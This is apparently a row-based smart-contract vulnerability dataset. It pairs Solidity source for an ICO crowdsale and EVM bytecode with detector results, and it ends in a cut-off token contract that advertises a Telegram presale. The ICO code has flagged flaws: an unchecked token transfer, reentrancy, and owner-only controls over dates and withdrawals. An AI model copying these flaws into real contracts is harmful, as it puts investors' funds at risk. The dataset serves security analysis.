81101515610e7e57fe5b906000526020600020906004020160010160009054906101000a900460ff161515610ea857600080fd5b60006006600560009054906101000a900460ff1660ff16815481101515610ecb57fe5b9060005260206000209060040201600301541115610f25576006600560009054906101000a900460ff1660ff16815481101515610f0457fe5b9060005260206000209060040201600301544210151515610f2457600080fd5b5b6005600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff16021790555050600160066001600560009054906101000a900460ff160360ff16815481101515610f7d57fe5b906000526020600020906004020160010160016101000a81548160ff0219169083151502179055506001905090565b600360149054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156110d0576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611164565b6110e3838261223d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600060066001600560009054906101000a900460ff160360ff168154811015156112be57fe5b906000526020600020906004020160010160009054906101000a900460ff16905090565b600060066001600560009054906101000a900460ff160360ff1681548110151561130857fe5b906000526020600020906004020160030154905090565b6000600360149054906101000a900460ff1615151561133d57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139957600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144357600080fd5b600360149054906101000a900460ff1615151561145f57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600560009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060066001600560009054906101000a900460ff160360ff1681548110151561150757fe5b906000526020600020906004020160000154905090565b6040805190810160405280600481526020017f524f434b0000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561157557600080fd5b600760009054906101000a900460ff16151561159057600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156115cb57600080fd5b6115d58383612256565b905092915050565b600060066001600560009054906101000a900460ff160360ff1681548110151561160357fe5b906000526020600020906004020160010160019054906101000a900460ff16905090565b60006116b882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561190857600080fd5b6001600760006101000a81548160ff0219169083151502179055506001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561198657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119c257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611bb757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c0457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c8f57600080fd5b611ce0826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d73826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600360159054906101000a900460ff16151515611f5257600080fd5b60066001600560009054906101000a900460ff160360ff16815481101515611f7657fe5b906000526020600020906004020160010160019054906101000a900460ff161515611fa057600080fd5b60066001600560009054906101000a900460ff160360ff16815481101515611fc457fe5b90600052602060002090600402016000015461201e8360066001600560009054906101000a900460ff160360ff16815481101515611ffe57fe5b90600052602060002090600402016002015461247590919063ffffffff16565b1115151561202b57600080fd5b6004546120438360015461247590919063ffffffff16565b1115151561205057600080fd5b6120658260015461247590919063ffffffff16565b6001819055506120b38260066001600560009054906101000a900460ff160360ff1681548110151561209357fe5b90600052602060002090600402016002015461247590919063ffffffff16565b60066001600560009054906101000a900460ff160360ff168154811015156120d757fe5b90600052602060002090600402016002018190555061213d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561224b57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561229357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156122e057600080fd5b612331826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c4826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561248957fe5b80915050929150505600a165627a7a72305820c0f3ab2eba3666f0d8b84b43ae6524dc31dccb0cbec34c6b8fbd8d282d03ed650029
|
{"success": true, "error": null, "results": {}}
| 1,665 |
0xf2c2d45779856d07a9928b2dfeb50c88f45abd7f
|
pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface TokenInterface {
function totalSupply() external constant returns (uint);
function balanceOf(address tokenOwner) external constant returns (uint balance);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
function burn(uint256 _value) external;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Burn(address indexed burner, uint256 value);
}
contract KRCICOContract is Ownable{
using SafeMath for uint256;
// The token being sold
TokenInterface public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// how many token units a buyer gets per wei
uint256 public ratePerWei;
// amount of raised money in wei
uint256 public weiRaised;
uint256 public TOKENS_SOLD;
uint256 maxTokensToSale;
uint256 bonusInPhase1;
uint256 bonusInPhase2;
uint256 bonusInPhase3;
uint256 minimumContribution;
uint256 maximumContribution;
bool isCrowdsalePaused = false;
uint256 totalDurationInDays = 56 days;
uint256 LongTermFoundationBudgetAccumulated;
uint256 LegalContingencyFundsAccumulated;
uint256 MarketingAndCommunityOutreachAccumulated;
uint256 CashReserveFundAccumulated;
uint256 OperationalExpensesAccumulated;
uint256 SoftwareProductDevelopmentAccumulated;
uint256 FoundersTeamAndAdvisorsAccumulated;
uint256 LongTermFoundationBudgetPercentage;
uint256 LegalContingencyFundsPercentage;
uint256 MarketingAndCommunityOutreachPercentage;
uint256 CashReserveFundPercentage;
uint256 OperationalExpensesPercentage;
uint256 SoftwareProductDevelopmentPercentage;
uint256 FoundersTeamAndAdvisorsPercentage;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _startTime, address _wallet, address _tokenAddress) public
{
require(_startTime >=now);
require(_wallet != 0x0);
startTime = _startTime;
endTime = startTime + totalDurationInDays;
require(endTime >= startTime);
owner = _wallet;
maxTokensToSale = 157500000e18;
bonusInPhase1 = 20;
bonusInPhase2 = 15;
bonusInPhase3 = 10;
minimumContribution = 5e17;
maximumContribution = 150e18;
ratePerWei = 40e18;
token = TokenInterface(_tokenAddress);
LongTermFoundationBudgetAccumulated = 0;
LegalContingencyFundsAccumulated = 0;
MarketingAndCommunityOutreachAccumulated = 0;
CashReserveFundAccumulated = 0;
OperationalExpensesAccumulated = 0;
SoftwareProductDevelopmentAccumulated = 0;
FoundersTeamAndAdvisorsAccumulated = 0;
LongTermFoundationBudgetPercentage = 15;
LegalContingencyFundsPercentage = 10;
MarketingAndCommunityOutreachPercentage = 10;
CashReserveFundPercentage = 20;
OperationalExpensesPercentage = 10;
SoftwareProductDevelopmentPercentage = 15;
FoundersTeamAndAdvisorsPercentage = 20;
}
// fallback function can be used to buy tokens
function () public payable {
buyTokens(msg.sender);
}
function calculateTokens(uint value) internal view returns (uint256 tokens)
{
uint256 timeElapsed = now - startTime;
uint256 timeElapsedInDays = timeElapsed.div(1 days);
uint256 bonus = 0;
//Phase 1 (15 days)
if (timeElapsedInDays <15)
{
tokens = value.mul(ratePerWei);
bonus = tokens.mul(bonusInPhase1);
bonus = bonus.div(100);
tokens = tokens.add(bonus);
require (TOKENS_SOLD.add(tokens) <= maxTokensToSale);
}
//Phase 2 (15 days)
else if (timeElapsedInDays >=15 && timeElapsedInDays <30)
{
tokens = value.mul(ratePerWei);
bonus = tokens.mul(bonusInPhase2);
bonus = bonus.div(100);
tokens = tokens.add(bonus);
require (TOKENS_SOLD.add(tokens) <= maxTokensToSale);
}
//Phase 3 (15 days)
else if (timeElapsedInDays >=30 && timeElapsedInDays <45)
{
tokens = value.mul(ratePerWei);
bonus = tokens.mul(bonusInPhase3);
bonus = bonus.div(100);
tokens = tokens.add(bonus);
require (TOKENS_SOLD.add(tokens) <= maxTokensToSale);
}
else
{
bonus = 0;
}
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(isCrowdsalePaused == false);
require(validPurchase());
require(TOKENS_SOLD<maxTokensToSale);
uint256 weiAmount = msg.value.div(10**16);
uint256 tokens = calculateTokens(weiAmount);
require(TOKENS_SOLD.add(tokens)<=maxTokensToSale);
// update state
weiRaised = weiRaised.add(msg.value);
token.transfer(beneficiary,tokens);
emit TokenPurchase(owner, beneficiary, msg.value, tokens);
TOKENS_SOLD = TOKENS_SOLD.add(tokens);
distributeFunds();
}
function distributeFunds() internal {
uint received = msg.value;
LongTermFoundationBudgetAccumulated = LongTermFoundationBudgetAccumulated
.add(received.mul(LongTermFoundationBudgetPercentage)
.div(100));
LegalContingencyFundsAccumulated = LegalContingencyFundsAccumulated
.add(received.mul(LegalContingencyFundsPercentage)
.div(100));
MarketingAndCommunityOutreachAccumulated = MarketingAndCommunityOutreachAccumulated
.add(received.mul(MarketingAndCommunityOutreachPercentage)
.div(100));
CashReserveFundAccumulated = CashReserveFundAccumulated
.add(received.mul(CashReserveFundPercentage)
.div(100));
OperationalExpensesAccumulated = OperationalExpensesAccumulated
.add(received.mul(OperationalExpensesPercentage)
.div(100));
SoftwareProductDevelopmentAccumulated = SoftwareProductDevelopmentAccumulated
.add(received.mul(SoftwareProductDevelopmentPercentage)
.div(100));
FoundersTeamAndAdvisorsAccumulated = FoundersTeamAndAdvisorsAccumulated
.add(received.mul(FoundersTeamAndAdvisorsPercentage)
.div(100));
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool withinContributionLimit = msg.value >= minimumContribution && msg.value <= maximumContribution;
return withinPeriod && nonZeroPurchase && withinContributionLimit;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
/**
* function to change the end timestamp of the ico
* can only be called by owner wallet
**/
function changeEndDate(uint256 endTimeUnixTimestamp) public onlyOwner{
endTime = endTimeUnixTimestamp;
}
/**
* function to change the start timestamp of the ico
* can only be called by owner wallet
**/
function changeStartDate(uint256 startTimeUnixTimestamp) public onlyOwner{
startTime = startTimeUnixTimestamp;
}
/**
* function to pause the crowdsale
* can only be called from owner wallet
**/
function pauseCrowdsale() public onlyOwner {
isCrowdsalePaused = true;
}
/**
* function to resume the crowdsale if it is paused
* can only be called from owner wallet
**/
function resumeCrowdsale() public onlyOwner {
isCrowdsalePaused = false;
}
function takeTokensBack() public onlyOwner
{
uint remainingTokensInTheContract = token.balanceOf(address(this));
token.transfer(owner,remainingTokensInTheContract);
}
/**
* function to change the minimum contribution
* can only be called from owner wallet
**/
function changeMinimumContribution(uint256 minContribution) public onlyOwner {
minimumContribution = minContribution;
}
/**
* function to change the maximum contribution
* can only be called from owner wallet
**/
function changeMaximumContribution(uint256 maxContribution) public onlyOwner {
maximumContribution = maxContribution;
}
/**
* function to withdraw LongTermFoundationBudget funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawLongTermFoundationBudget() public onlyOwner {
require(LongTermFoundationBudgetAccumulated > 0);
owner.transfer(LongTermFoundationBudgetAccumulated);
LongTermFoundationBudgetAccumulated = 0;
}
/**
* function to withdraw LegalContingencyFunds funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawLegalContingencyFunds() public onlyOwner {
require(LegalContingencyFundsAccumulated > 0);
owner.transfer(LegalContingencyFundsAccumulated);
LegalContingencyFundsAccumulated = 0;
}
/**
* function to withdraw MarketingAndCommunityOutreach funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawMarketingAndCommunityOutreach() public onlyOwner {
require (MarketingAndCommunityOutreachAccumulated > 0);
owner.transfer(MarketingAndCommunityOutreachAccumulated);
MarketingAndCommunityOutreachAccumulated = 0;
}
/**
* function to withdraw CashReserveFund funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawCashReserveFund() public onlyOwner {
require(CashReserveFundAccumulated > 0);
owner.transfer(CashReserveFundAccumulated);
CashReserveFundAccumulated = 0;
}
/**
* function to withdraw OperationalExpenses funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawOperationalExpenses() public onlyOwner {
require(OperationalExpensesAccumulated > 0);
owner.transfer(OperationalExpensesAccumulated);
OperationalExpensesAccumulated = 0;
}
/**
* function to withdraw SoftwareProductDevelopment funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawSoftwareProductDevelopment() public onlyOwner {
require (SoftwareProductDevelopmentAccumulated > 0);
owner.transfer(SoftwareProductDevelopmentAccumulated);
SoftwareProductDevelopmentAccumulated = 0;
}
/**
* function to withdraw FoundersTeamAndAdvisors funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawFoundersTeamAndAdvisors() public onlyOwner {
require (FoundersTeamAndAdvisorsAccumulated > 0);
owner.transfer(FoundersTeamAndAdvisorsAccumulated);
FoundersTeamAndAdvisorsAccumulated = 0;
}
/**
* function to withdraw all funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawAllFunds() public onlyOwner {
require (address(this).balance > 0);
owner.transfer(address(this).balance);
}
}
|
0x6080604052600436106101475763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662739f2a811461015257806309e419d11461016a5780630c8f167e1461017f5780633197cbb6146101a657806334100027146101bb5780634042b66f146101d057806345737b1e146101e557806349649fbf146101fd57806358c6f08b1461021257806378e9792514610227578063799c04681461023c57806381f1f92a146102515780638da5cb5b14610266578063908b8cfc1461029757806392bf2bf1146102ac578063a8351c03146102c4578063bc7c322c146102d9578063c8fed3f6146102ee578063d0297bc614610303578063ec8ac4d81461031b578063ecb70fb71461032f578063f2fde38b14610358578063f5235a4614610379578063f6a60d891461038e578063fc0c546a146103a3575b610150336103b8565b005b34801561015e57600080fd5b50610150600435610567565b34801561017657600080fd5b50610150610583565b34801561018b57600080fd5b506101946105ec565b60408051918252519081900360200190f35b3480156101b257600080fd5b506101946105f2565b3480156101c757600080fd5b506101506105f8565b3480156101dc57600080fd5b50610194610661565b3480156101f157600080fd5b50610150600435610667565b34801561020957600080fd5b50610150610683565b34801561021e57600080fd5b506101506106e6565b34801561023357600080fd5b5061019461082f565b34801561024857600080fd5b50610150610835565b34801561025d57600080fd5b5061015061089e565b34801561027257600080fd5b5061027b610907565b60408051600160a060020a039092168252519081900360200190f35b3480156102a357600080fd5b50610150610916565b3480156102b857600080fd5b5061015060043561097f565b3480156102d057600080fd5b5061015061099b565b3480156102e557600080fd5b506101946109c1565b3480156102fa57600080fd5b506101506109c7565b34801561030f57600080fd5b50610150600435610a30565b610150600160a060020a03600435166103b8565b34801561033b57600080fd5b50610344610a4c565b604080519115158252519081900360200190f35b34801561036457600080fd5b50610150600160a060020a0360043516610a54565b34801561038557600080fd5b50610150610ae8565b34801561039a57600080fd5b50610150610b51565b3480156103af57600080fd5b5061027b610b74565b600080600160a060020a03831615156103d057600080fd5b600d5460ff16156103e057600080fd5b6103e8610b83565b15156103f357600080fd5b6007546006541061040357600080fd5b61041a34662386f26fc1000063ffffffff610bd716565b915061042582610bf3565b905060075461043f82600654610d2790919063ffffffff16565b111561044a57600080fd5b60055461045d903463ffffffff610d2716565b600555600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156104cf57600080fd5b505af11580156104e3573d6000803e3d6000fd5b505050506040513d60208110156104f957600080fd5b505060005460408051348152602081018490528151600160a060020a038088169416927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18928290030190a3600654610557908263ffffffff610d2716565b600655610562610d3d565b505050565b600054600160a060020a0316331461057e57600080fd5b600255565b600054600160a060020a0316331461059a57600080fd5b600f546000106105a957600080fd5b60008054600f54604051600160a060020a039092169281156108fc029290818181858888f193505050501580156105e4573d6000803e3d6000fd5b506000600f55565b60065481565b60035481565b600054600160a060020a0316331461060f57600080fd5b60105460001061061e57600080fd5b60008054601054604051600160a060020a039092169281156108fc029290818181858888f19350505050158015610659573d6000803e3d6000fd5b506000601055565b60055481565b600054600160a060020a0316331461067e57600080fd5b600355565b600054600160a060020a0316331461069a57600080fd5b60003031116106a857600080fd5b60008054604051600160a060020a0390911691303180156108fc02929091818181858888f193505050501580156106e3573d6000803e3d6000fd5b50565b60008054600160a060020a031633146106fe57600080fd5b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d602081101561078e57600080fd5b505160015460008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561080557600080fd5b505af1158015610819573d6000803e3d6000fd5b505050506040513d602081101561056257600080fd5b60025481565b600054600160a060020a0316331461084c57600080fd5b60115460001061085b57600080fd5b60008054601154604051600160a060020a039092169281156108fc029290818181858888f19350505050158015610896573d6000803e3d6000fd5b506000601155565b600054600160a060020a031633146108b557600080fd5b6014546000106108c457600080fd5b60008054601454604051600160a060020a039092169281156108fc029290818181858888f193505050501580156108ff573d6000803e3d6000fd5b506000601455565b600054600160a060020a031681565b600054600160a060020a0316331461092d57600080fd5b60135460001061093c57600080fd5b60008054601354604051600160a060020a039092169281156108fc029290818181858888f19350505050158015610977573d6000803e3d6000fd5b506000601355565b600054600160a060020a0316331461099657600080fd5b600b55565b600054600160a060020a031633146109b257600080fd5b600d805460ff19166001179055565b60045481565b600054600160a060020a031633146109de57600080fd5b6012546000106109ed57600080fd5b60008054601254604051600160a060020a039092169281156108fc029290818181858888f19350505050158015610a28573d6000803e3d6000fd5b506000601255565b600054600160a060020a03163314610a4757600080fd5b600c55565b600354421190565b600054600160a060020a03163314610a6b57600080fd5b600160a060020a0381161515610a8057600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a03163314610aff57600080fd5b601554600010610b0e57600080fd5b60008054601554604051600160a060020a039092169281156108fc029290818181858888f19350505050158015610b49573d6000803e3d6000fd5b506000601555565b600054600160a060020a03163314610b6857600080fd5b600d805460ff19169055565b600154600160a060020a031681565b6000806000806002544210158015610b9d57506003544211155b925034600014159150600b543410158015610bba5750600c543411155b9050828015610bc65750815b8015610bcf5750805b935050505090565b6000808284811515610be557fe5b0490508091505b5092915050565b60025460009042038180610c10836201518063ffffffff610bd716565b915060009050600f821015610c9957600454610c3390869063ffffffff610ea616565b9350610c4a60085485610ea690919063ffffffff16565b9050610c5d81606463ffffffff610bd716565b9050610c6f848263ffffffff610d2716565b9350600754610c8985600654610d2790919063ffffffff16565b1115610c9457600080fd5b610d1f565b600f8210158015610caa5750601e82105b15610cda57600454610cc390869063ffffffff610ea616565b9350610c4a60095485610ea690919063ffffffff16565b601e8210158015610ceb5750602d82105b15610d1b57600454610d0490869063ffffffff610ea616565b9350610c4a600a5485610ea690919063ffffffff16565b5060005b505050919050565b600082820183811015610d3657fe5b9392505050565b6000349050610d7a610d6b6064610d5f60165485610ea690919063ffffffff16565b9063ffffffff610bd716565b600f549063ffffffff610d2716565b600f55601754610dab90610d9c90606490610d5f90859063ffffffff610ea616565b6010549063ffffffff610d2716565b601055601854610ddc90610dcd90606490610d5f90859063ffffffff610ea616565b6011549063ffffffff610d2716565b601155601954610e0d90610dfe90606490610d5f90859063ffffffff610ea616565b6012549063ffffffff610d2716565b601255601a54610e3e90610e2f90606490610d5f90859063ffffffff610ea616565b6013549063ffffffff610d2716565b601355601b54610e6f90610e6090606490610d5f90859063ffffffff610ea616565b6014549063ffffffff610d2716565b601455601c54610ea090610e9190606490610d5f90859063ffffffff610ea616565b6015549063ffffffff610d2716565b60155550565b600080831515610eb95760009150610bec565b50828202828482811515610ec957fe5b0414610d3657fe00a165627a7a7230582001567f603f6de46152812fedb987e3cc32d58cbaba0a6dcb2ce7539a48a5f4980029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 1,666 |
0x2b9dde565ddf9b736c9051286b216f66a8219e36
|
pragma solidity ^0.5.7;
// This is a test token for Grey.holdings. Official token hasn't been released yet. Presale live in our Telegram
// Official website: https://grey.holdings
// Official Twitter: https://twitter.com/_Greyholdings_
// Official Telegram: https://t.me/Grey_holdings
/*
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
